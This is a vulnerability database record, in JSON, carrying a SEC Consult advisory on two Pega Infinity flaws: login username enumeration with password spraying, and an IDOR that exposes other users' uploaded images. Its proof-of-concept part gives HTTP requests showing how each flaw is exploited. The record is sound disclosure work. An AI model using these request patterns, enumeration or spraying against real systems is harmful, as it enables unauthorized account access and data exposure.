Find a vulnerability

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260317-0",
          "vendor": "Pega",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260317-0 \u003e\n=======================================================================\n              title: Multiple vulnerabilities\n \u00a0 \u00a0 \u00a0  \u00a0 \u00a0 product: PEGA Infinity platform\n vulnerable version: CVE-2025-62181: Pega Platform versions 7.1.0 through Infinity 25.1.0\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 CVE-2025-9559: Pega Platform versions 8.7.5 to Infinity 24.2.2\n\u00a0 \u00a0 \u00a0 fixed version: CVE-2025-62181: 24.1.4, 24.2.4, and 25.1.1 patch\n                     CVE-2025-9559: \u00a024.2.3\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-62181, CVE-2025-9559\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: medium\n           homepage:https://www.pega.com/\n  \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2024-12-12\n  \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0by: Eric Kahlert\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We are Pega- The enterprise transformation company.\u2122\nOur enterprise AI decisioning and workflow automation platform delivers business\ntransforming value. Together, we partner with the world\u2019s largest organizations\nto Build for Change\u00ae.\"\n\nSource:https://www.pega.com/about\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Weak Brute-Force protection for login page (CVE-2025-62181)\nThe application\u0027s login form implements a weak login brute-force protection\nmechanism, which is only effective against multiple login attempts using\ndifferent passwords. Attacks using the same password on different users and\nusername enumeration are therefore not prevented.\n\nAn attacker can perform the following attacks:\n- Username Enumeration: An attacker can test a large list of potential usernames\n  against the login mechanism and distinguish between valid and invalid usernames\n  based on the server\u0027s response time.\n- Password Spraying: In a password spraying attack, the same password is tested\n  against many different usernames, potentially granting unauthorized access to user\n  accounts in the worst-case scenario. To exploit this vulnerability, an attacker\n  could, for example, create a script that uses the most common passwords and a list\n  of known valid usernames to attempt authentication.\n\n2) Insecure Direct Object Reference (IDOR) (CVE-2025-9559)\nAn Insecure Direct Object Reference (IDOR) occurs when an application grants direct\naccess to objects based on user input without performing sufficient authorization\nchecks. As a result, attackers can bypass authorization and directly access system\nresources, such as files. In this case the IDOR vulnerability can be used to read\nimage files from other users without setting the option to share the images with\nothers.\n\n\nProof of concept:\n-----------------\n1) Weak Brute-Force protection for login page (CVE-2025-62181)\nThis is an invalid login request:\nPOST /XXX/app/default/CHhSc-bWE3BYCBUOUq46CjlmQt_t3VKg*/!STANDARD HTTP/1.1\nHost: [...]\nCookie: Pega-RULES=[...]; JSESSIONID=[...]; ROUTEID=[...]\n[...]\n\npzAuth=guest\u0026UserIdentifier=PentestBenutzer_1\u0026Password=invalid_password\u0026pyActivity%3DCode-Security.Login=\u0026lockScreenID=\u0026lockScreenPassword=\u0026newPassword=\u0026confirmNewPassword=\n\nThe server response for a valid username shows a significantly higher response\ntime compared to responses with invalid usernames. An attacker can use a large\nlist of potential usernames in a script to enumerate valid usernames, as illustrated\nin the following example, see figure \u003cresponseTimeTable.png\u003e\n\nIn less than a minute, 8,000 invalid authentication attempts were made from the same\nIP address using different usernames and the same password.\n\nPassword Spraying:\nAfter enumerating valid usernames, an attacker can execute a password spraying attack by\nusing the same request method as for username enumeration. A script is used to test the\nsame password across many different usernames without triggering the brute-force protection.\nDuring this attack, 8,000 invalid authentication attempts were again made from the same\nIP address in under a minute, using different usernames and the same password.\nThe attacker would repeat this attack with a list of valid usernames and common passwords\nuntil a successful login is found.\n\nAs shown in the following example, the attack was successful with the username PentestBenutzer_1.\nSee figure \u003cpasswordSpray.png\u003e\n\n\n2) Insecure Direct Object Reference (IDOR) (CVE-2025-9559)\nIn order to verify this vulnerability, e.g. a test user \"user_1\" is logged in:\nPOST /XXX/app/default/CHhSc-bWE3BYCBUOUq46CjlmQt_t3VKg*/!STANDARD HTTP/1.1\nHost: [...]\nCookie: p_unknown=true%7Bapp%7D; Pega-RULES[...]; JSESSIONID=[...]; ROUTEID=[...]\n[...]\n\npzAuth=guest\u0026UserIdentifier=user_1\u0026Password=[...]\u0026pyActivity%3DCode-Security.Login=\u0026lockScreenID=\u0026lockScreenPassword=\u0026newPassword=\u0026confirmNewPassword=\n\nThe user receives the following Pega-RULES session cookie:\n\nHTTP/1.1 303 See Other\nDate: Thu, 12 Dec 2024 13:36:53 GMT\n[...]\nSET-COOKIE: Pega-RULES=%09%7Bpd%7DAAAABr3F5Rfo8PLlkIsDNLwSbSZ0HFLGwnS6[...]; Path=[...]; Secure; HttpOnly; SameSite=Lax;\nX-Content-Type-Options: nosniff\nConnection: close\n\nAnother user \"user_2\" uploads an image, which is a two step process:\nPOST \n/XXX/app/XXX/bJXRcBOqwaiAstqd8LVSHIEMFNxpnKrvbr_zZRJ5OsQ*/!DCSPA_UserPortal?pyActivity=ReloadSection\u0026pzTransactionId=b1f46a71d9635ab261358a8a4a9cbfdb\u0026pzFromFrame=pyWorkPage\u0026pzPrimaryPageName=pyWorkPage\u0026pzKeepPageMessages=false\u0026strPHarnessClass=XXX\u0026strPHarnessPurpose=Review\u0026UITemplatingStatus=Y\u0026StreamName=pzBrowseDocument\u0026BaseReference=pyAttachmentPage\u0026StreamClass=Rule-HTML-Section\u0026bClientValidation=true\u0026FormError=NONE\u0026pyCustomError=pyCaseErrorSection\u0026PreActivity=pzUploadFileToADocument\u0026HeaderButtonSectionName=-1\u0026PagesToRemove=\u0026pzHarnessID=HIDAA6704B0D23A3D2ABE9B1450BC6F31C4\u0026inStandardsMode=true\u0026AJAXTrackID=1\u0026PreDataTransform=\n HTTP/1.1\nHost: [...]\nCookie: Pega-Perf=itkn=5; Pega-RULES[...]; JSESSIONID=p_MM8f2VfKMT5sKhvtIc5_tNIt_foyBkqcpUIVW0.[...]; ROUTEID=[...]\nContent-Length: 32973\n[...]\n------WebKitFormBoundaryTll7wmP4P42lbosV\nContent-Disposition: form-data; name=\"$PpyAttachmentPage$ppxAttachName\"; filename=\"cat.png\"\nContent-Type: image/png\n\nPNG\n[...]\n\n\nThe upload is finalized with a second HTTP POST request:\nPOST \n/XXX/app/XXX/bJXRcBOqwaiAstqd8LVSHIEMFNxpnKrvbr_zZRJ5OsQ*/!DCSPA_UserPortal?pzTransactionId=b1f46a71d9635ab261358a8a4a9cbfdb\u0026pzFromFrame=pyWorkPage\u0026pzPrimaryPageName=pyWorkPage\u0026AJAXTrackID=1\n HTTP/1.1\nHost: [...]\nCookie: Pega-Perf=itkn=7\u0026start; Pega-RULES=[...]; JSESSIONID=p_MM8f2VfKMT5sKhvtIc5_tNIt_foyBkqcpUIVW0.[...]; \nROUTEID=[...]\nContent-Length: 2655\n[...]\n\npyActivity=SubmitModalFlowAction\u0026EXPANDEDLGLayoutGrouppyEnterCaseDetailsS1=2\u0026LGTypeLGLayoutGrouppyEnterCaseDetailsS1=tab\u0026appendUniqueIdToFileName=true\u0026$PpyAttachmentPage$ppxAttachName=\u0026$PAddRecentContent$ppyLabel=cat\u0026$PAddRecentContent$ppyDocumentAccessibleTo=Context\u0026$PAddRecentContent$ppyDocumentContextLabel=XXX\u0026$PAddRecentContent$ppyTopCaseID=FE-1001\u0026$PAddRecentContent$ppyCaseContext=XXX\u0026$PAddRecentContent$ppyClassContext=XXX\u0026$PAddRecentContent$ppyContextType=Case\u0026$PAddRecentContent$ppyContent=\u0026$PAddRecentContent$ppyDescription=\u0026$OCompositeGadget=\u0026$OControlMenu=\u0026$ODesktopWrapperInclude=\u0026$ODeterminePortalTop=\u0026$ODeveloperAssistant=\u0026$ODynamicContainerFrameLess=\u0026$ODynamicLayout=\u0026$ODynamicLayoutCell=\u0026$OEvalDOMScripts_Include=\u0026$OForm=\u0026$OGapIdentifier=\u0026$OHarness=\u0026$OHarnessStaticJSEnd=\u0026$OHarnessStaticJSStart=\u0026$OHarnessStaticScriptsClientValidation=\u0026$OHarnessStaticScriptsExprCal=\u0026$OLaunchFlow=\u0026$OMenuBar=\u0026$OMenuBarOld=\u0026$OMicroDynamicContainer=\u0026$OMobileAppNotify=\u0026$OOperatorPresenceStatusScripts=\u0026$OPMCPortalStaticScripts=\u0026$ORepeatingDynamicLayout=\u0026$ORepeatingGrid=\u0026$OSessionUser=\u0026$OSurveyStaticScripts=\u0026$OWorkformStyles=\u0026$Ocosmoslocale=\u0026$OmenubarInclude=\u0026$OpxButton=\u0026$OpxDisplayText=\u0026$OpxDropdown=\u0026$OpxDynamicContainer=\u0026$OpxGrid=\u0026$OpxGridBody=\u0026$OpxGridDataCell=\u0026$OpxGridDataRow=\u0026$OpxGridHeaderCell=\u0026$OpxGridHeaderRow=\u0026$OpxHarnessContent=\u0026$OpxHidden=\u0026$OpxIcon=\u0026$OpxLayoutContainer=\u0026$OpxLayoutHeader=\u0026$OpxLink=\u0026$OpxMenu=\u0026$OpxMicroDynamicContainer=\u0026$OpxNonTemplate=\u0026$OpxSection=\u0026$OpxTextInput=\u0026$OpxVisible=\u0026$OpxWorkArea=\u0026$OpxWorkAreaContent=\u0026$OpxWorkAreaHeader=\u0026$OpyDirtyCheckConfirm=\u0026$OpyWorkFormStandardEnd=\u0026$OpyWorkFormStandardStart=\u0026$Opycosmoscustomstyles=\u0026$OpzAppLauncher=\u0026$OpzDecimalInclude=\u0026$OpzFrameLessDCScripts=\u0026$OpzHarnessInlineScriptsEnd=\u0026$OpzHarnessInlineScriptsStart=\u0026$OpzMicroDynamicContainerScripts=\u0026$OpzPegaCompositeGadgetScripts=\u0026$OpzRuntimeToolsBar=\u0026$Opzpega_ui_harnesscontext=\u0026$Ordlincludes=\u0026$OxmlDocumentInclude=\u0026$OLGBundle=\u0026$OLayoutGroup=\u0026$OPegaSocial=\u0026$OpxHeaderCell=\u0026$OpxTextArea=\u0026$Opycosmoscustomscripts=\u0026$Opzcosmosuiscripts=\u0026$Opzpega_control_attachcontent=\u0026$OAttachmentActions=\u0026$OAttachmentInlineView=\u0026$OExternalViewerJS=\u0026$OContainerDynamicLayoutGroup=\u0026$ODynamicLayoutGroup=\u0026$Olayoutgroupincludes=\u0026$OpxAutoComplete=\u0026$OpxRadioButtons=\u0026$OpzAutoCompleteAGIncludes=\u0026$OpzCKEditorScripts=\u0026actionName=pzManageRecentContent\u0026KeepMessages=false\u0026FormError=NONE\u0026pyCustomError=pyCaseErrorSection\u0026modalSection=pyFlexModalTemplate\u0026bIsOverlay=false\u0026InterestPage=pyWorkPage\u0026HarnessType=NEW\u0026UITemplatingStatus=Y\u0026pzHarnessID=HIDAA6704B0D23A3D2ABE9B1450BC6F31C4\u0026inStandardsMode=true\n\n\nNow user_1 requests the image uploaded by user_2:\nGET /XXX/app/XXX/datacontent/image/DOCUMENT/DOC-1008.png HTTP/1.1\nHost: [...]\nCookie: Pega-RULES=%09%7Bpd%7DAAAABr3F5Rfo8PLlkIsDNLwSbSZ0HFLGwnS6[...]; \nJSESSIONID=cp7pHh8XQZvwMBc-vQ9JtZFJ5c4BEzYhWFLdcM0A.[...]; ROUTEID=[...]\nConnection: close\n\n\nThe server responds with the requested image:\n\nHTTP/1.1 200 OK\nDate: Thu, 12 Dec 2024 14:01:39 GMT\n[...]\n\n\u2030PNG\n[...]\n\nUser_1 can read all uploaded images of user_2 by guessing the filenames and\naccessing them directly.\n\n\nVulnerable / tested versions:\n-----------------------------\nAccording to the vendor, the following versions are vulnerable:\nCVE-2025-62181: Pega Platform versions 7.1.0 through Infinity 25.1.0\nCVE-2025-9559: Pega Platform versions 8.7.5 to Infinity 24.2.2\n\n\nVendor contact timeline:\n------------------------\n2025-01-14: Contacting vendor throughSecurityReport () Pega com; CSOC responds.\n2025-01-16: Sending advisory toIncidentResponse () pega com\n2025-02-04: Asking for a status update regarding the internal analysis.\n2025-02-05: Vendor received submission\n2025-02-21: Vendor requested additional information\n2025-03-03: Additional information sent to vendor\n2025-03-18: Asking for a status update.\n2025-04-15: Contacted vendor again, set deadline until end of April.\n2025-04-17: Vendor excuses delayed response, will provide further info on 18th.\n2025-04-18: Vendor provides status update regarding the two issues.\n2025-04-22: Vendor provides further status update\n2025-04-23: Sending additional details to the vendor regarding brute-force\n            detection.\n2025-04-24: Vendor acknowledges some defects, others are still reviewed.\n2025-04-29: Additional information sent to vendor\n2025-05-01: Vendor is still reviewing user enumeration, ETA for IDOR should\n            follow by the end of the week.\n2025-05-03: Vendor requested more time.\n2025-05-06: Asking vendor when the vulnerabilities will be fixed\n2025-05-08: Vendor will send timeframe on 12 May.\n2025-05-14: Vendor is targeting a solution to be available in v25.1.1 (Sept. \u002725)\n            for user enumeration, IDOR follows the patch schedule (23.1.5, 24.1.4, 24.2.3, 25.1.0)\n            herehttps://support.pega.com/pega-infinity-patch-calendar\n2025-05-15: Confirmed the vendor that we are willing to wait until September.\n2025-08-26: Contacted the vendor if the timeframe is still valid.\n2025-08-27: Vendor wants to postpone advisory re"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:41:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/8"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.pega.com/pega-infinity-patch-calendar"
        },
        {
          "url": "https://support.pega.com/support-doc/pega-security-advisory-h25-vulnerability-remediation-note"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-62181"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9559"
        },
        {
          "url": "https://www.pega.com/"
        },
        {
          "url": "https://www.pega.com/about"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260317-0 :: Multiple vulnerabilities in PEGA Infinity platform",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-62181",
              "type": "related"
            },
            {
              "destId": "CVE-2025-9559",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0257",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/8",
            "automated": true,
            "contentSha256": "d74b087c71c61beb49efc55d0281c1097d97d04d9637da35e2f69191cd99a94c",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-03-17T12:05:21Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0257"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-09T13:41:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0257"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}